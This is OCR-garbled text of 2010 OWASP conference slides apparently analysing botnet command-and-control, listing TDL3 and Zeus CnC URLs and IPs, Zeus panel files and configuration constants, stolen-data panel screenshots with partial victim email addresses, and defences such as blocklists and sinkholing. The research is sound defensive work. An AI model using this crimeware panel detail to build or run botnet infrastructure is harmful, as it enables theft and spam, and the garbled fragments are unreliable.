64.191.25.166/perce/447c05f1ebbff6d24d24a15d483cedb9689f10406b7230b46€69c850008919480e2c3fe8d432c72e6/607/perce.jpg

CnC
69.10.35.251/perce/447c05f1e6bff6d24d24a15d483cedb9689f10406b7230b46e69c850008919480e2c3fe8d432c72e6/607/perce.jpg

69.10.35.251/perce/465cbbfb5c459068718ea7c544e87ed2a776f651b13f6f75e085d95d0f16bed4d73603cc8bfd83f316/d4f5b0c5628/qw  CnC
erce.gif

CnC
69.10.35.251/perce/8020ac6db14al4e0ed94c17da86c8d0938cff0c02ba29014aee9a81000a9b998de6c0f98a422879eb/400/perce.jpg

CnC
69.10.35.251/perce/96ec3b1lbcc25c048614e07d5d478be22d7565661f17f1f754035b9cd3ff64ecde370eca8afa8ff01f/f0e/perce.jpg

CnC
88.214.201.132/perce/447c05f1ebbff6d24d24a15d483cedb9689f10406b7230b46e69c850008919480e2c3fe8d432c72e6/607/perce.jpg

CnC
images-humanity.com/werber/30f/216.jpg

CnC
imagesmonitor.com/werber/e4d08081926/216.jpg

CnC
pictureswall.com/werber/b0f/216.jpg
hipartsonline.com/werber/548582c8e44/217 gif CnC
virtualartsonline.com/perce/23a8802761f8ac0664709edb14bbd80dee cnC
020a2cab27fe38e60811523634ef62dc748b397c3e4cd0a/d4b8c69787¢c/qwerce.gif

CnC

videoartfilms.com/werber/34a826c797b/217.gif
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* Favors Segregating malware drop domains
from Command-and-Control Servers

— Malware Drop Sites

e Prefers domains with words like video, film, movies

— Command-and-Control Servers
e Leverage domains with art or arts (historically)

* TDL3 operators have recently been changing their
patterns to prevent attribution

— TDL Rootkit acts as a loader that can download
any desired crimeware for the right S, €, ¥,etc...
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* fineartstalk.com
— Analysis of this domain led us to IP 6.6.6.6 an CnC for their botnet

6.6.6.6 (none) 6.6.0.0/16 AS668
United States DREN (U.S. DoD Defense Research and
Engineering Network)

— Further analysis of registered domains to this IP address

667855.com a 6.6.6.6
United States

8888hg.com a 6.6.6.6
United States

aldKado-art.com a 6.6.6.6
United States

dinomadness.info a 6.6.6.6
United States

a 6.6.6.6
T — United States

jouw-iphone3gs.com a 6.6.6.6
United States

mauikgmearts.com a 6.6.6.6
United States

nuprijshier.com a 6.6.6.6
United States

photospotter-msn.com a 6.6.6.6
United States

West-arts—stua|b)com a 6.6.6.6
[T— United States

wildworksdesign.com a 6.6.6.6

United States



 fineartstalk.com

Graph Source:Robtex.com
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Record

NnsS-soa

* mauihomearts.com

Name

nsl.registrar.am 15 days old

ns3.registrar.am 15 days old

ns4.registrar.am 15 days old

nsl.registrar.am 15 days old

ns2.registrar.am 15 days old

IP
6.6.6.6 United States

209.85.99.32 United
States

209.85.99.29 United
States

74.52.35.85 United
States

209.85.99.32 United
States

174.132.26.225
United States

Reverse Route AS

(none) 6.6.0.0/16 AS668 DREN (U.S. DoD
Defense Research and
Engineering Network)

209-85-99- 209.85.0.0/17 AS21844 THEPLANET-

32.opticaljungle.com ThePlanet.com AS2 ThePlanet.com

Internet Services, Inc. |Internet Services, Inc.

209-85-99-

29.opticaljungle.com

55.23.344a.static.thep |74.52.0.0/14

lanet.com ThePlanet.com
Internet Services, Inc.
209-85-99- 209.85.0.0/17

32.opticaljungle.com |ThePlanet.com
Internet Services, Inc.

el.1a.84ae.static.thepl|174.132.0.0/15
anet.com




* This crimeware group focuses on
exploitation of servers via numerous
methods more so on SSH or SQL Injection
and pointing their SOA’s to your servers

* From a client infection perspective their
focus in spam, drive-by-downloads, and
client-side-exploits




 TDL3 Gang - Operator Analysis

Motivation
Objectives

Timeliness

Resources

Risk Tolerance

Skills & Methods

Actions

Attack Origination Points
Numbers Involved in Attack

Knowledge Sources

Money and Information (intelligence)
Opportunistic & Target Specific

Between Jan 2009 — June 2010 domain have been expired about every 3 weeks like
clockwork (some CnC domains are only even available for 24 hours before going down)

Unknown

Very High — Due to use of DoD IPs as actual CnC points for botnets outside of the DoD in
public IP space (hard coded into binaries)

Seemingly non-advanced techniques

Primarily focused on infections and selling bot and spam operations
Numerous CnC locations around the world

> 800k victims and hundreds of CnC points —both active and non-active

Malware, Network, and Online Analysis
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Modular Botnet
Construction



* AV industry is #S@"ed up

— Zeus — aka Zbot, PRG, Wnspoem, Gorhax, Kneber
— “Trojan horse” that steals banking info. (if only)

* Botnet names based upon their malware
agents guarantee confusion...

e “Multi-function” malware...
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1 Summary statistics

ation:

Current user:
GMT date: 15,05, 2009
GMT tirme: 0544126

Statistcs:
=+ Surmrmary

0%

Boinet:
Bots
Scripts

Reports:
Search in database

Search in files

System:
Information
options
Uzer

Uzears

Logout

Information

Total reports in databaze:
Time of first activity:

Total bots:

Total active baots in 24 hours:
Minirnal version of bot:

Maximal version of bot:

12.05,2009 09:56:432

Botnet: [EXIIES
Reset Installs

Actions

CE

Installs (9]

B R R R R R R

ES
ChA

Search frarm date (dd.rarm):  15.05 = to date:

Bots:

IP-addreszses:

Search string:

Type of report: i-- iw

Protected Storage
Cookies of IE
Show only rgFile

HTTP ar HTTPS request
gh t
f— o 8= wen HTTP request
HTTPS request

Caze sensiti

|| Exclude retri

—l

POP2 login
All grabbed data

Grabbed data [UI]
Grabbed data [HTTR(S)]
Grabbed data [WinSocket]
Grabbed data [Other]
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Bots | Emails | Templates | Tasks | Sniffer | Admin

Sniffer Sn iffe r

Type: any ftp smtp pop3 http sauth debug

Matched 44556 of 122556 Page: 1 2 3

851 892 Show: 0 200 per page
=i’ : <

15:22:08 26786 x smip 192.168.1.9:2271 i6.21:25 niko.s~k o ttrade.su>

15:29:22 25061 x smtp 192.168.0.74:3652 <42.215:25 = nm@r at= < mm@meorello.r
10.0.0.11:32080 1.25:25 = orneli sialcomputer.com> SIZE=3257 = cornalius@finar Tputer.com>

15:27:57 691 x smtp 10.0.0.11:1098 .105.45:25 =| ormal 2.CcOm> < wwlwiseman@sc Tcom>
10.0.0.11:1077 .105.45:25 =< ns613 ing.com=> < ickman.com=

15:25:35 691 x smtp 10.0.0.11:4587 .188.54:25 < pmailz cota.com> SIZE=32435 < @efunds.com>
10.0.0.11:3466 138.130:25 = tdiva. 3191 < nvi.net>
10.0.0.11:3468 138.1320:25 < w2i@g [com> < icentroalia.com
10.0.0.11:3470 138.130:25 = icoqui = OOSEeCcross.com

15:21:36 B91 x smtp = . L .
10.0.0.11:3458 138.130:25 = si@ssk < righettiridolfi.c
10.0.0.11:34350 128.130:25 = @met LCOM> <= n@empireblue.
10.0.0.11:3452 138.130:25 =| m@d bria.com= < ari@canadafran m=
10.0.0.11:3291 3.47:25 <1 sji@bc sm.com3* < rmay(@cerax.co
10.0.0.11:3122 201.5:25 = rana.l rcnpublishing.co.uk> SIZE=3248 < dd@synerfac.cc
10.0.0.11:2155 i8.190:25 = ‘@baore > < idvi@mhbh.org

15:19:35 691 x smtp 10.0.0.11:3376 38.213:25 = ibmai = = iitimg h-sijthoff.
10.0.0.11:3221 .10.145:25 <= i@anit 3IZE=2200 < 1ail.coac.netton ikakoky.net>
10.0.0.11:3345 38.213:25 = f@boc T.au* < idem@luleahoc =
10.0.0.11:3336 38.213:23 = S@res E=3207 < IS@rms.de>

15:18:30 6924 x smtp 192.168.2.2:1072 1.147:25 he b tid
10.0.0.11:2972 .23.7:25 < 1edms lin.com> < y@huelvainform s>
10.0.0.11:2987 244.21:25 < @juni: SIZE=3213 = ia@infocus.com
10.0.0.11:2945 118.38:25 <= BgQa¢ com.hk> < tecnohispanos.
10.0.0.11:2925 196.219:25 = lowps au> SIZE=3186 < lanc@maorrishos rg=
10.0.0.11:2504 .35.47:25 = lasx.C < 84@mcneary.cc

15:17:45 B91 x smtp 10.0.0.11:3052 129.66:25 < tionw: eventas.com> < shschools.org>
10.0.0.11:2061 36.105:25 <1 s@yak SIZE=3207 < is@yahoo.com=
10.0.0.11:2523 3.177:25 <) ¥BEK.CO = .salazar_sn@m ry.Com>
10.0.0.11:2897 «251.46:25 =| =@blu com> < 43.399@kbm1.
10.0.0.11:3058 .188.58:25 =1 @qua < Lwhitehead@go a=
10.0.0.11:3097 .251.48:25 = alvesg k> SIZE=2218 < issingerassoc.cc
192.168.1.3:4129 F8.30:25 = 1979 2.JP= SIZE=4343 < inthony@erac.c
192.168.1.3:41356 32.11:25 < 198 0.JP= SIZE=43235 < artteunissen.co
192.168.1.2:3950 .60.100:25 =l ylredn JCOIP> < kbhdd@forum.c
192.168.1.3:32820 F.34:25 =i ises; 0Jp= = son@meamphisg wrg>
192.168.1.3:3949 .1.149:25 = Jueroc| 0JP= = wasi@gmail.conm
192.168.1.3:4088 163.13:25 = la58@ 2.JP= SIZE=4310 = ethel-nl.org>
192.168.1.3:3997 .89.66:25 < 197@nM Jp= < kayri@trago.co.
192.168.1.3:3981 .127.36:25 <. opoly _ 20.0P> < itevege.dax
192.168.1.3:4374 .635.8:25 <d 1969@MN 2.JP= <l y@aup.fr>
192.168.1.3:3735 -114.15:25 =A dups@nNC LIP>= SIZE=43213 <i ibroker.co.yu>
192.168.1.3:3857 22.45:25 =d _195s@h ©.Jp= <1 kearneyd@incir Ail=
192.168.1.3:4281 32.50:25 =d _1l9s8@ 20.JP>= SIZE=4307 <1 inderholz.com=
192.168.1.3:43591 «200.17:25 =d _1s78@l 20.JP= SIZE=4333 =l arraniait.com=

15:16:21 18251 % smtp
192.168.1.3:4019 31.97:25 =d IMCWS.C SIZE=4317 < kert@kurt-strac =
192.168.1.3:4256 L05.218:25 <d 1999@M 2.JP= SIZE=4328 <\ kelly@kepak.cc
192.168.1.2:4272 28.136:25 <h ~avihs@h o.ap= < Bezweb.ne.jp>
192.168.1.3:4143 | 207.123:25 =d n2001@ Z0.JP= S1IZE=4334 <) :ars@southauck stors.co.nz>
192.168.1.3:4328 .190.208:25 <a rowgeo@ C0.JP= SIZE=4373 <1 '@ubbi.com=>
192.168.1.3:4339 | 240.182:25 =d _1s57@! 0.JP> S1ZE=4353 =j ia.edu>
192.168.1.3:4225 31.80:25 =< rikoen@! JD.JP= SIZE=4287 <1 iglow-grove.con
192.168.1.3:43299 LOE8.43:25 <d ala@ncw P> SIZE=43323 <l icastilho.com.b
192.168.1.2:4175 L5.5:25 <A dreaekirb 3.C0.JP>= SIZE=4202 <| rthofix.com=>

192.168.1.2:4179 .106.176:25 =d m@RNCW ¥= SIZE=4380 | i.ribeiro@grgrup br=



* Easy to install

 Most compromised environments
— Automatically support
— Low hanging fruit
— Blacklist proof (mixed domain)
— Blend in — Anonymity
— Can be installed in minutes automagically
— Web vulnerabilities abound
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* Main folders
— Install
— System
— Theme
* 2filesin root dir
— ./cp.php — control panel
— ./gate.php — used for receiving data from bots

* PHP backend (Zend and MySQL)

— Most compromised websites support this
environment
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e Geobase.txt

— GeolP identification for incoming bots

* Index.php

— Initial configuration

Spd userxr "admin " ;
Spd pass M-

"1Z2T7.0.001 " ;
"roott " s

Spd mysgl host
Spd mysgl user
Spd mysgl pass
Spd mysgl db

"~

"ocpdb " ;

Spd reports path " reports"';

Spd reports to db = 1 -
Spd reports to s = 0
Spd botnet timeout = 225
Spd botnet cryptkey = "';

S OUTPUT = "' ;
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reports_db.lng.en.php  stats_os.php
reports_db.Ing.ru.php  sys_info.lng.en.php
reports_db.php sys_info.lng.ru.php
reports_files.1ng.en.php sys_info.php
reports_files.lng.ru.php sys_options.lng.en.php
reports_files.php sys_options.1ng.ru.php
reports_jn.Ing.en.php  sys_options.php
reports_jn.Ing.ru.php  sys_user.lng.en.php
reports_jn.php sys_user.lng.ru.php
stats_main.Ing.en.php  sys_user.php
stats_main.Ing.ru.php  sys_users.lng.en.php
stats_main.php sys_users.lng.ru.php
stats_os.1ng.en.php sYs_users.php
stats_o0s.1ng.ru.php
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Config.php
— Configuration
Global.php

— Global Attributes
— RC4/RC2 Encryption function

.htaccess

— No prying eyes
— deny from all
Jabberclass.php

— Jabber Configuration

OWASP AppSec 2010 USA — POwn3d for Botnet CnC — Gunter Ollmann



OWASP AppSec 2010 USA — POwn3d for Botnet CnC — Gunter Ollmann



SECID_BOT_ID . 10Ga1 )

SBCID_ _BOTHET . 1000=)
SBCID_BOT_UERSIOMN . 10003)
SECID_BOT_STATUS " . 100047 :
SEBCID_ _HMET_LATERNCY " . 100085)
SBECID_FPORT_S1 " . 10006
SBCID_PAaTH_SOoOURCE " ., 100GT7T)
SECID_PATH_DEST - . 1090008F) :
SpBCID_TIME_ _SYSTEM ™ . 100093 ;
SBCID_TIME_TICK = . 10010) :
SECID_TIME_LOCALEBIAS - . 1001
SECID_OS_IRKMFO- . 10012 :

SEBECID_ LAMNGUAGE_ _ID ", 10013 :
SBCID_PROCESS_MNAME "~ . 190014
SEBECID_PROCESS _USER . 1017
SBCID_BOTLOG_ _T%PE" . 10015S)
SpBCID_BOTLOG . 100163
SBCID_SCRIPT_ID . 11090003 :
SECID_ SCRIPT_STATUS - . 11001
SEBCID_SCRIPT_RESULT " . 11002)
CFGID_LAST_UERSION . Z0001 ) :
CFGID_LAST_ _UERSIORN_URL - . Z0000=2) :
CFGID_URL_SERUER_G@ " . Z00Aa3) :
CFGID_ URL_ADU_SERUVERS - . Z000&4) :
CFGID_HTTP_BOTLOG_ _FILTER - . ZO000GJ) :
CFGID_ _HTTP_POSTDATA_FILTER . Z00aTDJ):
CFGID HTTP_FAKES_LIST . Z0008) :
CFGID_ _HTTP_IMHJECTS_LIST . Z0009) :
CFGID_ _DHNS_LIST . Z00117):

BES_ _IMSTALLED - . 1G1) :
BES_UPDATED " . 2013 :

BES_ORNLIRMNE . =Za1)D):

ELT_UNKHOWMN"- . O3 ;:
ELT_PROTECTED_STORAGE -

ELT_ COOKIES_IE"- ., =2)

BLT_FILE"-. 3= :
ELT_HTTPFP_REQUEST - .
BLT_HTTPFS_REQUEST -
BELT_LOGIM_FTP " .
BELT_LOGIHKN_POP3" .
BLT_GRABBED_UI - .
BELT_GRABBED_HTTPF - . :
BLT_GRABBED_WSOCKET . Z0=2)
BLT_GRABBED_F TPSOF TWARE -
ELT_GRABBED_OTHER' = . =Z99)
BEOT_ID_HMaAX_CcHARS -
BOTHET_HMAMX_CHARS - .

BEO_UERSIOMN - . "1 .=
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function Jabber()

{

$this->server = "127.0.0.1";

Sthis->port = "h222";

Sthis->username “larry”;
Sthis->passuword = “curly”;
Sthis->resource = NULL;

Sthis->packet_queue array();
Sthis->iq_version_name “"tinyJabber”;
Sthis->iq_version_version = "1.0";

Sthis->iq_version_os “php”;

$this->connection_class "CJP_StandardConnector™;

OWASP AppSec 2010 USA — POwn3d for Botnet CnC — Gunter Ollmann



* RC4 (sometimes RC2 is used)
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* Standard Basic HTML
— CSS
— Index
— Header
— Footer

— icons

Falled. g eader AL popmend. )5 stule.css
footer Al Indeof  sualll  dhrobber o1

ohall
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e Similar kit to
Zeus

o “Kill Zeus”
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Repercussions




/euS Tracker

Zeus Tracker :: Zeus blocklist

With the Zeus Tracker yvou are able the generate a IF- and domain-blocklist which contains all ips / domains which are o
server (CRC) by the Zeus crimeware. Both blocklists will be generated in text format. This alows you to import the block
webproxy to block all traffic to the malicious Zeus CAC servers. You can find a short description of the two blocklist abo

Maote: Many Zeus domains are bullet proof hosted an the same server (ip address). So don't warry that the dom
IF blocklist. Additionally, some Zeus hosts are just hosted on a ip address and noton a d

abuse.ch Zeus domain blocklist

The Zeus domain blocklist contains domains which are currently beening tracked on the abuse.ch Zeus Tracker. The bl
currently anling aswell a=s all domain which are offline at this time. ¥You can use this list to block the access to the listed di
firewall. Just click on the link below to generate an up-to-date blocklist in text-format:

M download Feus domain blocklist

abuse.ch Zeus IP blocklist

The Zeus IF blocklist contains ip addresses (ip4) which are currently beeing tracked on the abuse.ch Feus Tracker. Yo
to the listed ip addresses on your web proxy or on your firewall. Just click on the link below to generate an up-to-date bl

M download Feus IP blocklist

Downloading blocklist via HTTP
If vou have troubles with downloading the blocklist via HTTPS you can also use the HTTF download:

[ download Feus domain blocklist using HTTP

M download Feus IP blocklist using HTTE
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DNS-BH - Malware Domain Blocklist

Malware Prevention through Domain Blocking (Black Hole DNS Sinkhole)

Home | About Latest Updates BH DNS Files Black Hole DNS White Paper Donate Email Me Mirrors Sponsor Us

212 New Malicious Sites to Block

Recent Posts Posted on September 1st, 2010 in New Domains, Trojans, fastflux, zeus by dglosser Archives

= Underscores in domain = September 2010 (2)
212 new domains are active — trojan downloaders, zeus, fast flux, etc. Sources = August 2010 (24)

include malwaredomainlist, zeustracker.abuse.ch, malcOde.com (all sources are = July 2010 (20)

names

= 212 New Malicious Sites

to Block listed in the domain.txt file): = June 2010 (26)
= PowerShell and DNS = May 2010 (14)
Blackholes Z4dnsall .com abodeflash-vol32 .co .tv = April 2010 (18]
= 189 new malicious 82801he .co .cc abodeflash-vol33 .co .tv = March 2010 (16)
domains = February 2010 (12)
= Delistings: Bit.ly, 99droid .net abodeflash-vol34 .co .tv = January 2010 (17)
widgetserver.com, ableblog .info adobeflash-vers4 .co .tv = December 2009 (14)
j he. = [ ber 2009 (13
Jseache.com, acquaintive .in adobeflash-verss .co .tv ovemuer (13)
fagfolkfakta.no = October 2009 (12)
= 220 malicious sites to adlibros It adobeflash-ver57 .co .tv = September 2009 (11)
block aussiebob .com adobeflash-verss .co .tv = August 2009 (11)
= 254 New Malicious = Juby 2009 (15
] base-jump .co .cc  adobeflash-vergl .co .tv v (15)
Domains = June 2009 (12)
binarymode .in adobeflash-ver63 .co .tv = May 2009 (13)
Donate bzsoft .in affable-tube .com = April 2009 (8)
] = March 2009 (7)
Donate ccsmale .com all122direct .com
= February 2009 (8)

B T

L Lo LT
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 Takedown, teardown and sinkholing

* If the domain owner can’t be contacted...

— Take ownership of the domain name
— Modify DNS settings for redirection
— Shutdown or delete the entire Web site
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Identification using attack output
— Spam, DoS, Brute-force, etc.

Based upon CnC infrastructure

— Hosting facilities, domain names,
DNS, IP, etc.

Enumeration of victim groups

— IRC and P2P infiltration, server
hijacking, etc.

e Communications with CnC

— Instructions being sent/received
between bot master and victim
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* Entire criminal ecosystem dependent upon
hacking Web servers

 Backbone of many large botnets
* Important for evasion of protection technologies
* Lowest hanging fruit for compromise

9/6/2010 OWASP AppSec 2010 USA — POwn3d for Botnet CnC — Gunter Ollmann

84



* DIY botnet kits and exploit tools
— Easy to acquire, plentiful and “good enough”

* Protection strategies obvious
— Patch, verify and continuous alerting

* File Include vulnerabilities

— Simply specifying which directory a specific web
application or website is allowed to include files from
will effectively protect against this type of
exploitation.
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Questions?

Gunter Ollmann

email: gollmann@damballa.com
Web: http://www.damballa.com Blog: http://blog.damballa.com
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